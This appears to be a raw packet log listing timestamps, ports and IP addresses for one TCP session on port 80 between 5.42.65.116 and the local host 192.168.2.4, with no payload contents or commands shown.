Jun 20, 2024 06:49:10.549595118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549606085 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.549624920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.549674988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633639097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633703947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633744001 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633761883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633775949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633805990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633815050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633851051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633865118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633903027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633938074 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.633953094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.633991003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634006023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634042978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634085894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634094000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634119034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634138107 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634155989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634191036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634219885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634227037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634243011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634278059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634279013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634332895 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634366989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634397030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634411097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634414911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634427071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634434938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634491920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634526014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634557962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634557962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634565115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634588957 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634615898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634618998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634668112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634675980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634731054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634746075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634762049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634777069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634778976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634790897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634805918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634812117 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634824038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634854078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634871006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634876966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634912014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634928942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634946108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.634969950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634991884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.634994030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635040998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635046959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635080099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635114908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635139942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635150909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635171890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635205030 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635212898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635238886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635272980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635297060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635308027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635333061 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635355949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635377884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635390997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635402918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635426044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635442019 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635458946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635473967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635512114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635545015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635561943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635581017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635606050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635616064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635638952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635649920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635663033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635684013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635706902 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635719061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635740042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635751963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635770082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635787010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635799885 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635831118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635864973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635879040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635899067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635915041 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635936975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635953903 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.635967016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.635998964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636018991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636034966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636069059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636084080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636102915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636121035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636137962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636157990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636173964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636208057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636224031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636241913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636255980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636276960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636296988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636312962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636328936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636346102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636362076 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636385918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636415005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636440992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636456013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636471033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636503935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636517048 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636549950 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636584997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636601925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636620045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636637926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636655092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636672020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636689901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636704922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636724949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636749983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636759043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636781931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636794090 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636806965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636827946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636863947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636877060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636897087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636909008 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636931896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636945963 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.636967897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.636982918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.637011051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.637017012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.637058973 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640038013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640095949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640149117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640170097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640182018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640216112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640217066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640253067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640269995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640275955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640305996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640341043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640357018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640398979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640399933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640439034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640496016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640512943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640567064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640618086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640620947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640655994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640688896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640707970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640732050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640743971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640796900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640850067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640856028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640888929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640923023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640940905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640954971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.640970945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.640989065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641005993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641021967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641056061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641072989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641088009 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641109943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641123056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641146898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641155958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641182899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641191006 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641204119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641225100 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641258955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641283035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641292095 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641324043 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641334057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641350031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.641367912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.641423941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.725867033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.725914001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.725964069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.725992918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726049900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726102114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726124048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726124048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726136923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726171017 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726191044 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726206064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726223946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726238966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726255894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726272106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726286888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726310015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726344109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726370096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726397038 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726398945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726438046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726480007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726495028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726516008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726531982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726552010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726573944 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726593018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726628065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726644039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726661921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726677895 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726695061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726711988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726728916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726763010 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726778984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726798058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726809025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726831913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726847887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726880074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726886034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726921082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726942062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726955891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.726975918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.726989031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727015972 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727030993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727031946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727062941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727098942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727112055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727132082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727150917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727165937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727183104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727200985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727215052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727235079 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727247953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727267981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727281094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727304935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727313995 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727338076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727356911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727370977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727405071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727427959 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727437019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727459908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727469921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727493048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727509022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727518082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727541924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727559090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727576971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727592945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727612019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727628946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727647066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727668047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727680922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727689981 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727715015 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727747917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727762938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727782965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727797031 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727817059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727830887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727850914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727884054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727904081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727922916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727938890 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727957964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.727973938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.727996111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728030920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728044033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728065014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728079081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728099108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:10.728127956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:10.728132963 CEST	80	49743	5.42.65.116	192.168.2.4
